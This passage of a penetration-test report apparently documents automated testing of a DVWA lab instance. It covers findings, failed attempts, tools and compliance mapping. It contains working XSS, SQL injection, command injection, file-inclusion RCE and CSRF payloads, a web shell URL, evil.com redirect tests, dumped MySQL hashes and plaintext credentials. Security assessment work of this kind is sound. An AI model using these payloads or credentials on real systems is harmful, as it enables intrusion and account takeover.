./output/cold-matrix-moves/172.17.0.3-111/web/idor_testing/idor_vertical_poc.txt
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/pablo_setup.txt
```

1.19 Unauthenticated Database Setup / Reset

Status

Successful validation.

Severity

Critical / Medium in separate findings.

Endpoint

```
http://172.17.0.3/setup.php
```

Unauthenticated access

```
GET /setup.php
HTTP/1.1 200 OK
```

Exposed content

```
Database Setup
```

Vulnerable reset request

```
POST /setup.php
create_db=Create+/+Reset+Database
```

Alternate encoded payload

```
create_db=Create+%2F+Reset+Database
```

Response

```
HTTP/1.1 302 Found
Location: setup.php
```

Token behavior

- Hidden `user_token` present.
- `user_token` not enforced for reset action.

Cookies set

```
PHPSESSID
security=low
```

Evidence files

```
exploits/setup.html
./output/cold-matrix-moves/172.17.0.3-111/web/auth_bypass/setup_unauthenticated.html
./output/cold-matrix-moves/172.17.0.3-111/web/csrf/csrf_setup_database_reset_poc.html
```

1.20 CSRF Password Change

Status

Successful.

Severity

Critical.

Endpoint

```
http://172.17.0.3/vulnerabilities/csrf/
```

Vulnerable request

```
GET /vulnerabilities/csrf/?password_new=EVIL&password_conf=EVIL&Change=Change
```

Parameters

```
password_new
password_conf
Change
```

Successful evidence requests

```
GET /vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change
```

Result:

```
HTTP/1.1 200 OK
```

Second evidence request:

```
GET /vulnerabilities/csrf/?password_new=ctevil123&password_conf=ctevil123&Change=Change
Content-Type: text/plain
```

Result:

```
HTTP/1.1 200 OK
```

Body contained:

```
<pre>Password Changed.</pre>
```

Vulnerability details

- State-changing password change uses `GET`.
- No anti-CSRF token in form.
- Missing/empty/invalid token accepted.
- No `Referer` validation.
- No `Origin` validation.
- Wrong or missing `Referer` / `Origin` headers still allowed password change.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/csrf/csrf_password_change_poc.html
./output/cold-matrix-moves/172.17.0.3-111/web/csrf/csrf_testing_evidence.txt
```

1.21 Reflected XSS

Status

Successful.

Severity

High.

CWE

`CWE-79`

Endpoint

```
http://172.17.0.3/vulnerabilities/xss_r/
```

Method / parameter

```
GET name
```

Injection context

```
<pre>Hello ...</pre>
```

Confirmed PoC

```
http://172.17.0.3/vulnerabilities/xss_r/?name=<script>alert(1)</script>
```

Working payloads

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
"><script>alert(1)</script>
" autofocus onfocus="alert(1)
';alert(1)//
</script><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
<div onlostpointercapture=confirm(1) class=dalfox></div>
><link rel=preconnect href=//evil.com onload=alert(1) class=dalfox>
name='>"<svg/onload=confirm(...)>
```

Confirmed by

```
dalfox
nuclei
manual testing
browser verification
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/xss/xss_comprehensive_report.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/dalfox_xss_r_results.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/nuclei_xss_r_results.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/manual_xss_r_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/xss_r_executed.png
exploits/xss_r_source.html
exploits/xss_r_help.html
```

1.22 Stored XSS

Status

Successful.

Severity

Critical.

CWE

`CWE-79`

Endpoint

```
http://172.17.0.3/vulnerabilities/xss_s/
```

Method / vulnerable parameter

```
POST txtName
```

Form fields

```
txtName
btnSign
```

Payloads

```
txtName=<script>alert(document.cookie)</script>
<script>alert('XSS')</script>
```

Impact

- Payload stored in guestbook HTML body.
- Persists and executes for users viewing the page.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/xss/manual_xss_s_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/xss_s_before.png
./output/cold-matrix-moves/172.17.0.3-111/web/xss/xss_s_after.png
manual_xss_s_evidence.txt
```

1.23 DOM XSS / Unsafe JavaScript `eval()`

Status

Confirmed vulnerable pattern / simulated reflection.

Severity

Medium.

CWE

`CWE-95`

Affected file

```
http://172.17.0.3/dvwa/js/dvwaPage.js
./output/cold-matrix-moves/172.17.0.3-111/web/client_code_analysis/assets/dvwaPage.js
```

Function

```
popUp(URL)
```

Unsafe sink

```
eval("page" + id + " = window.open(URL, ...");
```

Details

- `dvwaPage.js` line 6 uses:

```
eval("page"+id+" = window.open(URL, ...)")
```

- User-controlled `URL` reaches `eval()`.

Additional test

```
/security.php?test=
```

Evidence

```
exploits/dom_xss_test.html
./output/cold-matrix-moves/172.17.0.3-111/web/xss/dom_xss_analysis.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/dom_xss_test.png
```

1.24 Session Fixation

Status

Successful.

Severity

High.

Endpoint

```
http://172.17.0.3/login.php
```

Issue

`PHPSESSID` is not regenerated after successful login.

Evidence 1

```
Pre-auth PHPSESSID=889kcd7i79l0fkj894g1j1ih37
Post-auth PHPSESSID=889kcd7i79l0fkj894g1j1ih37
```

Evidence 2

```
Pre-auth PHPSESSID=sq08ah1ti15l6d1rq45b7mp945
Post-auth PHPSESSID=sq08ah1ti15l6d1rq45b7mp945
```

Additional session fixation value

```
PHPSESSID=q57k7bqfqio7hkrhioihnpjbi0 remained unchanged after admin login and was valid post-authentication
```

Root cause observed

```
session.use_strict_mode = Off
```

Successful login endpoint behavior

```
POST /login.php
HTTP/1.1 302 Found
Location: index.php
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/cookies_fixation.txt
./output/cold-matrix-moves/172.17.0.3-111/web/auth_bypass/session_fixation_test.txt
./output/cold-matrix-moves/172.17.0.3-111/web/session_testing/session_lifecycle_evidence.txt
```

1.25 Client-Side Security Level Cookie Tampering

Status

Successful.

Severity

Medium.

Cookie

```
security
```

Observed default

```
security=low
```

Tampered values

```
security=low
security=medium
security=high
```

Evidence

- Authenticated session with tampered cookie:

```
security=high
```

still allowed access and showed:

```
Security Level: impossible
```

Details

- `security` cookie directly controls DVWA security level.
- Authenticated sessions still worked with manipulated or missing `security` cookie.

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/auth_bypass/security_cookie_low/medium/high.html
```

1.26 Directory Listing / User Enumeration

Status

Successful.

Severity

Medium.

Endpoint

```
http://172.17.0.3/hackable/users/
```

Access

Unauthenticated.

Response

```
HTTP/1.1 200 OK
```

Exposed files

```
1337.jpg
admin.jpg
gordonb.jpg
pablo.jpg
smithy.jpg
```

Usernames revealed

```
admin
gordonb
pablo
smithy
1337
```

Additional directory listings reported

```
/hackable/
/config/
/external/phpids/
/vulnerabilities/
/hackable/uploads/
/hackable/flags/
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/auth_bypass/hackable_users_enumeration.html
./output/cold-matrix-moves/172.17.0.3-111/web/idor_testing/idor_directory_poc.txt
```

1.27 Sensitive File / Configuration Exposure

Status

Successful.

Exposed files/endpoints

```
/php.ini — HTTP 200, 148 bytes
/config/config.inc.php — HTTP 200, 0B body
/README.md — HTTP 200, 7805 bytes
/CHANGELOG.md — HTTP 200, 7296 bytes
/docs/DVWA_v1.3.pdf — HTTP 200, 730335 bytes
/phpinfo.php — authenticated, HTTP 200, 80600 bytes
/server-status — HTTP 403
```

Sensitive PHP configuration from `/php.ini`

```
allow_url_fopen=On
allow_url_include=On
magic_quotes_gpc=Off
```

Authenticated PHP info page

```
http://172.17.0.3/phpinfo.php
```

PHP settings observed

```
disable_functions => no value
open_basedir => no value
allow_url_include=On
sql.safe_mode => Off
session.cookie_httponly = Off
session.cookie_secure = Off
session.gc_probability = 0
session.gc_maxlifetime = 1440
```

PHPIDS path disclosure

```
../../external/phpids/0.6/lib/IDS/tmp
/var/www/html/external/phpids/0.6/
/var/www/html/external/phpids/0.6/lib/IDS~tmp/phpids_log.txt
```

Evidence files

```
./output/cold-matrix-moves/172.17.0.3-111/web/client_code_analysis/assets/phpinfo.html
./output/cold-matrix-moves/172.17.0.3-111/web/session_testing/phpinfo_auth.html
./output/cold-matrix-moves/172.17.0.3-111/web/session_testing/php_session_config.txt
phpinfo_output.txt
```

1.28 Exposed IDS Logs

Status

Successful authenticated access.

Severity

High.

Endpoint

```
http://172.17.0.3/ids_log.php
```

Evidence

```
exploits/ids_log.html
```

1.29 Insecure Cookie Attributes

Status

Confirmed.

Severity

High/Medium.

Affected cookies

```
PHPSESSID
security
security=low
```

Missing attributes

```
HttpOnly
Secure
SameSite
```

PHP config evidence

```
session.cookie_httponly = Off
session.cookie_secure = Off
```

Impact

- JavaScript can access cookies during XSS.
- Cookies can be transmitted over plaintext HTTP.
- Missing `SameSite` increases CSRF risk.

Nuclei finding

```
missing-cookie-samesite-strict
```

1.30 Missing HTTP Security Headers

Status

Confirmed.

Missing headers

```
Content-Security-Policy
Strict-Transport-Security
X-Frame-Options
X-Content-Type-Options
Referrer-Policy
HSTS
```

1.31 MySQL Hashdump via Metasploit

Status

Successful.

Tool/module

```
Metasploit auxiliary/scanner/mysql/mysql_hashdump
```

Extracted hashes

```
root:*D7E39C3AF517EC9EF7086223B036E0B4F22821F8
debian-sys-maint:*AB05E804D3FCF1FFD182AB04CF0D042D25F84E05
```

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_mysql_hashdump_output.txt
```

1.32 CVE-2017-3599 / EDB-41954 MySQL Integer Overflow DoS

Status

Reported successful.

Severity

High.

Target

```
MySQL 5.5.54 on 3306/tcp
```

CVE / ExploitDB

```
CVE-2017-3599
EDB-41954
```

Applicability

```
MySQL <5.6.35
MySQL <5.7.17
```

Result

```
TESTED_SUCCESS
```

PoC files

```
41954_original.py
41954_modified.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/41954.py
```

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2. Failed Attempts

2.1 Forged Session Cookie Blocked

Status

Failed / blocked.

Forged cookie

```
PHPSESSID=forged1234567890abcdef; security=low
```

Result

```
HTTP 302
```

Additional fake session test

```
PHPSESSID=fakesession123; security=low
```

Result:

```
HTTP/1.1 302 Found
```

Interpretation

Authentication depends on valid server-side `PHPSESSID`.

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/test_forged_session.txt
```

2.2 Login CSRF Token Bypass Failed

Status

Failed / positive control.

Endpoint

```
/login.php
```

Details

- Login validates `user_token`.
- Missing/empty/invalid tokens rejected.
- Tokens are session-bound/consumed.
- Tested CSRF bypass attempts redirected to `login.php`.

Result

```
HTTP 302
Location: login.php
```

Positive control

Login form includes hidden CSRF-style field:

```
user_token
```

2.3 Login SQL Injection Bypass Failed

Status

Failed.

Tested usernames/payloads

```
' OR '1'='1' --
admin'--
' OR 1=1#
```

Result

All redirected to:

```
login.php
```

2.4 HTTP Method Bypass Failed

Status

Failed.

Tested methods

```
PUT
DELETE
PATCH
OPTIONS
```

Result

- Method bypass failed.
- Separate observations showed:

```
PUT → HTTP 200
DELETE → HTTP 200
OPTIONS → HTTP 200
```

but bypass was not exploitable.

2.5 Password Reset / Recovery Endpoints Mostly Not Present

Status

Failed / not present.

Checked endpoints

```
/password-reset.php -> 404 Not Found
/reset-password.php -> 404 Not Found
/forgot-password.php -> 404 Not Found
/recover-password.php -> 404 Not Found
/login.php?action=reset -> 200 OK
/login.php?action=recover -> 200 OK
```

2.6 Password Change POST Not Effective

Status

Failed.

Request attempted

```
POST /vulnerabilities/csrf/
Content-Type: text/plain
```

Result

```
HTTP 200 OK
```

But

```
Did not show "Password Changed."
Form appears GET-only.
```

2.7 Open Redirect Not Confirmed

Status

Failed / not vulnerable.

Missing endpoint

```
/vulnerabilities/open_redirect/ -> 404 Not Found
```

Redirect behavior observed

```
GET / -> 302 Location: login.php
GET /phpinfo.php -> 302 Location: login.php
logout.php with redirect params -> 302 Location: login.php
Protected module paths unauthenticated -> 302 Location: ../login.php or ../../login.php
```

Tested redirect parameters

On `login.php`:

```
next
redirect
to
url
goto
destination
return
returnUrl
return_to
callback
redirect_uri
redirect_url
```

On `logout.php`:

```
redirect
next
url
goto
destination
return
return_to
redirect_uri
redir
continue
callback
redirect_url
target
path
to
ref
```

Common payload

```
http://evil.com
```

Header-based redirect attempts failed

```
Host: evil.com
X-Forwarded-Host: evil.com
```

```
X-Forwarded-Host: evil.com@172.17.0.3
X-Forwarded-Proto: https
X-Original-URL: http://evil.com
X-Rewrite-URL: http://evil.com
```

Source review

```
login.php: dvwaRedirect(DVWA_WEB_PAGE_TO_ROOT . 'index.php')
logout.php: dvwaRedirect('login.php')
checkToken() uses $returnURL, but callers provide hardcoded values.
dvwaRedirect() directly calls header("Location: {$pLocation}")
```

Note

Theoretical risk only if future code passes user-controlled input to `dvwaRedirect()`.

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/web/open_redirect/open_redirect_assessment.txt
```

2.8 Apache Optionsbleed CVE-2017-9798 Failed

Status

Failed / not confirmed vulnerable.

CVE / EDB

```
CVE-2017-9798
EDB-42745
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
```

Target version

```
Apache/2.4.10 (Debian)
```

Testing

```
50 OPTIONS requests
auxiliary/scanner/http/apache_optionsbleed
```

Result

```
TESTED_FAILED
No malformed Allow headers
OPTIONS / returned 302 Found to login.php
.htaccess Limit misconfiguration appeared absent
```

Output files

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/cve_exploit/cve_2017-9798_output.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/cve_exploit/CVE-2017-9798_original.py
```

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/cve_exploit/CVE-2017-9798_modified.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/42745.py
42745_original.py
42745_modified.py
```

2.9 Apache CVE-2021-41773 Not Applicable

Status

Not applicable.

Module checked

```
exploit/multi/http/apache_normalize_path_rce
```

Reason

- Module targets Apache `2.4.49/2.4.50`.
- Target Apache is `2.4.10`.

2.10 Apache CVE-2021-44790 / EDB-51193 Not Applicable

Status

Not applicable.

CVE / EDB

```
CVE-2021-44790
EDB-51193
```

Reason

- Apache `2.4.x` `mod_lua` buffer overflow requires Lua endpoint.
- No Lua endpoint such as `/process.lua` found.

Files

```
51193_original.py
51193_modified.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/51193.py
```

2.11 CVE-2016-0765 Not Applicable

Status

Not applicable.

Reason

- Affects WordPress eShop plugin `6.3.14`.
- WordPress/eShop not detected.
- Common CMS paths returned `404`.

2.12 CVE-2017-5638 Not Applicable

Status

Not applicable.

Module

```
exploit/multi/http/struts2_content_type_ognl
```

Reason

- Affects Apache Struts 2.
- No Struts detected.
- Target is PHP/DVWA.

2.13 MySQL UDF RCE / Privilege Escalation Failed

Status

Failed.

Tool/module

```
Metasploit exploit/multi/mysql/mysql_udf_payload
```

Failure reason

```
Permission denied writing UDF to /usr/lib/mysql/plugin/
Errcode 13
```

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_mysql_udf_payload_output.txt
```

2.14 Privilege Escalation to Root Failed

Status

Failed.

Starting context

```
www-data
uid=33 gid=33
```

Result

```
Access remained www-data
```

Failed checks/vectors

```
sudo -l -> sh: 1: sudo: not found
No useful Linux capabilities
Current: =
getcap -r / found no useful capabilities
No writable cron files
sessionclean considered safe
No useful bash history
No persistence established
```

SUID binaries discovered but not exploitable

```
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/bin/su
/bin/umount
/bin/ping6
/bin/ping
/bin/mount
```

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/privilege_escalation/enumeration_results.txt
```

2.15 Docker Escape Failed

Status

Failed.

Evidence

```
/var/run/docker.sock absent
Docker CLI not found
No Docker group/socket evidence
Permission denied on /proc/1/ns/*
```

Attempt

```
nsenter container escape
```

Result

```
Blocked / permission denied
```

2.16 PHP `pcntl_fork + setuid` Privilege Escalation Failed

Status

Failed.

Result

```
setuid(0) remained uid=33
```

2.17 Kernel Exploits Not Exploited

Status

Not exploited.

Candidates

```
CVE-2026-31431 — Kernel “Copy Fail” page cache vulnerability, high risk
CVE-2026-43284 — Kernel xfrm-ESP/Kukurigu page cache poisoning, high risk
CVE-2025-38236 — Kernel AF_UNIX MSG_OOB use-after-free, medium risk
CVE-2025-38352 — Kernel POSIX CPU timers race, medium risk
```

Reasons

```
gcc/compilation support unavailable
No ExploitDB code found for some candidates
```

2.18 File Inclusion Vectors Limited / Failed

Failed or limited vectors

```
expect:// unavailable
Apache logs not readable
/etc/shadow denied/no useful output
Traversal payload ../../../etc/passwd returned empty
Absolute paths worked
```

Additional inconsistent late test

- Later LFI endpoint tests tried:

```
/vulnerabilities/fi/?page=php://input
/vulnerabilities/fi/?page=data://...
```

- One late note stated:

```
No useful execution output obtained
```

- This conflicts with earlier confirmed successful RCE via `php://input` and `data://`, both preserved above.

2.19 MySQL Remote Access / Host Blocking Issue

Status

Partially failed / operational issue.

Notes

- MySQL service detected on `3306/tcp`.
- One report stated:

```
remote access denied/localhost-only
bind-address 127.0.0.1
```

- Another report stated:

```
MySQL root access exposed over network
bind-address 0.0.0.0
root@% present
```

Host block observed

```
172.17.0.2 blocked due to many connection errors
```

Remediation needed during test

```
mysqladmin flush-hosts
```

2.20 CMS Recon Negative

Status

Not found.

Paths returned `404`

```
/wp-admin/
/wp-content/
/sites/default/
/administrator/
/wp-login.php
```

CMS checks

```
WordPress: 404
Drupal: 404
Joomla: 404
```

2.21 AI / Chat / LLM Recon Negative

Status

Not found.

Result

No AI-powered interfaces, chatbots, LLM backends, conversational UIs, AI SDKs, WebSocket/API calls, third-party chat widgets, or AI-related frontend patterns detected.

API paths probed with POST and returned `404`

```
/api/chat
/api/ai
/api/ask
/api/assistant
/chat
/ask
/bot
/assistant
/api/message
/api/send-message
/api/query
/ai
/llm
```

Directories probed and returned `404`

```
/ai/
/chat/
/bot/
/assistant/
/llm/
/agent/
/copilot/
```

2.22 Contradictory Summary Block Preserved

A later summary in the raw data stated:

```
EXPLOITED VULNERABILITIES (0):
No vulnerabilities were successfully exploited.

EXPLOIT ATTEMPTS (0 total):
No exploitation attempts recorded.
```

This conflicts with extensive preserved evidence above showing successful exploitation of command injection, file upload web shell, SQL injection, LFI/RFI/SSRF, CSRF, IDOR, XSS, MySQL access, and hash dumping.

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3. Vulnerabilities Confirmed

Critical

3.1 OS Command Injection / RCE

```
Endpoint: http://172.17.0.3/vulnerabilities/exec/
Method: POST
Parameter: ip
Payload format: ip=127.0.0.1; <cmd>
Confirmed as: www-data
Evidence: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

3.2 Persistent PHP Web Shell via File Upload

```
Endpoint: http://172.17.0.3/vulnerabilities/upload/
Upload field: uploaded
Submit field: Upload=Upload
Shell: http://172.17.0.3/hackable/uploads/webshell.php?cmd=COMMAND
Output: www-data
```

3.3 RCE via File Inclusion PHP Wrappers

```
POST /vulnerabilities/fi/?page=php://input
Payload: <?php system('id'); ?>
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

GET /vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
Output: uid=33(www-data)
```

3.4 Remote File Inclusion

```
GET /vulnerabilities/fi/?page=http://example.com/
Remote Example Domain HTML included
allow_url_include=On
allow_url_fopen=On
```

3.5 SQL Injection

```
Endpoint: /vulnerabilities/sqli/?id=<input>&Submit=Submit
Parameter: id
DBMS: MySQL 5.5.54
Techniques: boolean-based blind, error-based, time-based blind, UNION
UNION columns: 2
Payload id=1'%20-- triggered MySQL syntax error
```

3.6 Blind SQL Injection

```
Endpoint: /vulnerabilities/sqli_blind/?id=<input>&Submit=Submit
Techniques: boolean-based blind, time-based blind
Impact: full blind extraction; dvwa.users dumped
```

3.7 CSRF Password Change

```
GET /vulnerabilities/csrf/?password_new=<value>&password_conf=<value>&Change=Change
No token
No Referer/Origin validation
State change via GET
Evidence body: <pre>Password Changed.</pre>
```

3.8 Unauthenticated Database Reset

```
GET /setup.php -> HTTP 200
POST /setup.php create_db=Create+/+Reset+Database
Response: 302 Location: setup.php
Hidden user_token present but not enforced
```

3.9 MySQL Root Access / Arbitrary Web File Write

```
root:p@ssw0rd
MySQL 3306/tcp
INTO OUTFILE wrote /var/www/html/hackable/uploads/sqli_shell.php
```

High

3.10 Horizontal IDOR

```
/vulnerabilities/sqli/?id=<USER_ID>&Submit=Submit
Low-priv users pablo, smithy, 1337, gordonb accessed admin/other user records
```

3.11 Missing RBAC / Function-Level Access Control

```
Standard users accessed:
/setup.php
/security.php
/phpinfo.php
/index.php
```

3.12 LFI / Arbitrary File Read

```
page=/etc/passwd
page=file:///etc/passwd
page=/etc/hosts
page=file:///proc/self/cmdline
```

3.13 SSRF

```
page=http://127.0.0.1:80/
page=http://localhost/
Returned internal DVWA login page
```

3.14 Source Disclosure

```
page=php://filter/convert.base64-encode/resource=include.php
page=php://filter/convert.base64-encode/resource=../../config/config.inc.php
```

3.15 Default/Weak Credentials

```
admin:password
gordonb:abc123
pablo:letmein
smithy:password
1337:charley
```

3.16 No Brute-force Protection

```
10 attempts in 0.08s
~0.01s/attempt
No rate limiting or lockout
```

3.17 Session Fixation

```
PHPSESSID not regenerated after login
session.use_strict_mode = Off
```

3.18 Exposed IDS Logs

```
/ids_log.php accessible with standard authenticated session
Evidence: exploits/ids_log.html
```

3.19 Reflected XSS

```
GET /vulnerabilities/xss_r/?name=<script>alert(1)</script>
Reflected inside <pre>Hello ...</pre>
```

3.20 File Upload Vulnerability

```
/vulnerabilities/upload/
Allows PHP web shell upload/execution
```

Medium

3.21 Directory Listing / User Enumeration

```
/hackable/users/
Exposes: 1337.jpg, admin.jpg, gordonb.jpg, pablo.jpg, smithy.jpg
```

3.22 Predictable Sequential IDs

```
1=admin
2=gordonb
```

```
3=1337
4=pablo
5=smithy
```

3.23 Cookie Security Misconfiguration

```
PHPSESSID and security lack:
HttpOnly
Secure
SameSite
```

3.24 Client-Side Trust of Security Level

```
security cookie controls DVWA security level
Values low/medium/high accepted
```

3.25 DOM XSS / Unsafe `eval`

```
eval("page" + id + " = window.open(URL, ...");
```

3.26 Missing Security Headers

```
Content-Security-Policy
Strict-Transport-Security
X-Frame-Options
X-Content-Type-Options
Referrer-Policy
```

3.27 Exposed PHP Configuration

```
/php.ini HTTP 200, 148 bytes
allow_url_fopen=On
allow_url_include=On
magic_quotes_gpc=Off
```

3.28 Exposed Authenticated PHPInfo

```
/phpinfo.php
PHP Version 5.6.30-0+deb8u1
Authenticated file size: 80600 bytes
```

3.29 PHP Session Garbage Collection Disabled/Ineffective

```
session.gc_probability = 0
```

```
session.gc_maxlifetime = 1440
```

3.30 Multiple Concurrent Sessions Allowed

```
Session A: j9k2lboeonsmip9nq0qqnrt9t0
Session B: vrig27du42e9m7mncthq5un9l3
```

Low / Informational

3.31 Logout Does Not Clear Client-Side Cookie

```
GET /logout.php
HTTP/1.1 302 Found
Location: login.php
```

No `Set-Cookie` clearing `PHPSESSID`.

Client jar retained:

```
PHPSESSID=04m529j0raf209duhqd3cqnlp2
security=low
```

Old session reuse after logout:

```
Old session still valid after logout: 0
```

3.32 Duplicate `Set-Cookie`

```
Duplicate Set-Cookie headers observed for PHPSESSID
```

3.33 CAPTCHA Misconfiguration

```
Empty reCAPTCHA key in /vulnerabilities/captcha/
```

3.34 Source / Hint Disclosure

```
?source=1
?hint=1
Evidence:
exploits/xss_r_source.html
exploits/xss_r_help.html
```

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4. Tools Used

Web / HTTP Testing

```
curl
Browser/manual testing
```

```
HAR capture
Screenshots
```

Evidence locations

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/traffic.har
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/*.png
```

SQL Injection

```
sqlmap
custom sqli_poc.py
```

Output

```
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqlmap/sqlmap_sqli_standard.txt
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/sqlmap/sqlmap_sqli_blind.txt
sqli_poc.py
sqli_evidence.txt
```

Command Injection

```
commix
custom command_injection_poc.py
manual payload testing
```

Output

```
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/commix/commix_output.txt
command_injection_poc.py
command_injection_evidence.txt
```

File Inclusion / SSRF

```
SSRFMap
custom lfi_rfi_poc.py
manual PHP wrapper testing
```

Tool paths / notes

```
ssrfmap at /usr/local/bin/ssrfmap
interactsh-client at /usr/local/bin/interactsh-client
gopherus not found/importable: ModuleNotFoundError: No module named 'gopherus'
```

Output

```
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/ssrfmap_request.txt
```

```
lfi_rfi_poc.py
lfi_rfi_evidence.txt
```

XSS Testing

```
dalfox
nuclei
manual browser verification
```

Output

```
./output/cold-matrix-moves/172.17.0.3-111/web/xss/dalfox_xss_r_results.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/nuclei_xss_r_results.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/manual_xss_r_evidence.txt
./output/cold-matrix-moves/172.17.0.3-111/web/xss/manual_xss_s_evidence.txt
```

Vulnerability Scanning / Templates

```
nuclei
```

Findings mentioned

```
missing-cookie-samesite-strict
waf-detect matched apachegeneric
Nuclei SSRF templates ran but produced no SSRF findings
```

Metasploit

```
auxiliary/scanner/mysql/mysql_hashdump
exploit/multi/mysql/mysql_udf_payload
auxiliary/scanner/http/apache_optionsbleed
exploit/multi/http/apache_normalize_path_rce
exploit/multi/http/struts2_content_type_ognl
```

Results

```
mysql_hashdump: successful
mysql_udf_payload: failed, Errcode 13 writing to /usr/lib/mysql/plugin/
apache_optionsbleed: failed/not vulnerable
apache_normalize_path_rce: not applicable
struts2_content_type_ognl: not applicable
```

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_mysql_hashdump_output.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_mysql_udf_payload_output.txt
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/msf_auxiliary_scanner_output.txt
```

ExploitDB / CVE PoCs

ExploitDB files

```
/usr/share/exploitdb/exploits/linux/webapps/42745.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/42745.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/51193.py
./output/cold-matrix-moves/172.17.0.3-111/exploitation/exploit_search/41954.py
```

PoCs saved/executed

```
42745_original.py
42745_modified.py
51193_original.py
51193_modified.py
41954_original.py
41954_modified.py
```

CVE results

```
CVE-2017-3599 / EDB-41954: TESTED_SUCCESS
CVE-2017-9798 / EDB-42745: TESTED_FAILED
CVE-2021-44790 / EDB-51193: NOT_APPLICABLE
```

Database Tools

```
mysql client
mysqladmin flush-hosts
Metasploit mysql_hashdump
```

Post-Exploitation / Enumeration

```
LinPEAS
manual shell enumeration
SUID/capability/cron checks
```

Evidence

```
./output/cold-matrix-moves/172.17.0.3-111/exploitation/privilege_escalation/enumeration_results.txt
./output/cold-matrix-moves/172.17.0.3-111/post_exploit/persistence/persistence_report.md
```

Available Tools on Target

```
/usr/bin/perl
/bin/bash
/bin/sh
```

Missing / Limited Tools on Target

```
Python not found
nc not found
curl not found
wget not found
compilers not available
sudo not installed
Docker CLI not found
```

Key Evidence / Artifact Directories

```
./output/cold-matrix-moves/172.17.0.3-111/web/access_control_testing/
./output/cold-matrix-moves/172.17.0.3-111/web/auth_bypass/
./output/cold-matrix-moves/172.17.0.3-111/web/client_code_analysis/
./output/cold-matrix-moves/172.17.0.3-111/web/command_injection/
./output/cold-matrix-moves/172.17.0.3-111/web/csrf/
./output/cold-matrix-moves/172.17.0.3-111/web/file_inclusion/
./output/cold-matrix-moves/172.17.0.3-111/web/idor_testing/
./output/cold-matrix-moves/172.17.0.3-111/web/open_redirect/
./output/cold-matrix-moves/172.17.0.3-111/web/session_testing/
./output/cold-matrix-moves/172.17.0.3-111/web/sql_injection/
./output/cold-matrix-moves/172.17.0.3-111/web/ssrf/
./output/cold-matrix-moves/172.17.0.3-111/web/xss/
./output/cold-matrix-moves/172.17.0.3-111/exploitation/
./output/cold-matrix-moves/172.17.0.3-111/exploitation/service_exploit/
./output/cold-matrix-moves/172.17.0.3-111/exploitation/metasploit_exploit/
./output/cold-matrix-moves/172.17.0.3-111/exploitation/cve_exploit/
./output/cold-matrix-moves/172.17.0.3-111/post_exploit/persistence/
```

Notable individual evidence files:

```
reproduction_summary.txt
exploitation_evidence.txt
manual_xss_s_evidence.txt
findings.txt
subagent_summary.md
webshell_session.txt
db_credentials.txt
dom_xss_analysis.txt
extracted_credentials.txt
ssrf_confirmed_vulnerabilities.txt
command_injection_evidence.txt
lfi_rfi_evidence.txt
sqli_evidence.txt
exploit_catalog.md
```

12 Systemic Issues

Weak Authentication	Multiple authentication weaknesses found (3 issues)	3 occurrences
Insufficient Input Validation	Multiple injection vulnerabilities indicate insufficient input validation	3 occurrences

13 Compliance Mapping

Compliance Mapping

Findings Compliance Matrix

FINDING	SEVERITY	CWE	OWASP TOP 10	GDPR ARTICLE	ISO 27001 CONTROL	NIST CSF FUNCTION
Blind SQL Injection in `/vulnerabilities/sqli_blind/`	Critical	CWE-89	A03:2021 – Injection	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Command Injection in `/vulnerabilities/exec/`	Critical	CWE-78	A03:2021 – Injection	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Exposed DVWA Development Instance with Low Security Level	Critical	N/A	N/A	Article 32 – Security of processing	A.8.9 Configuration management	Protect
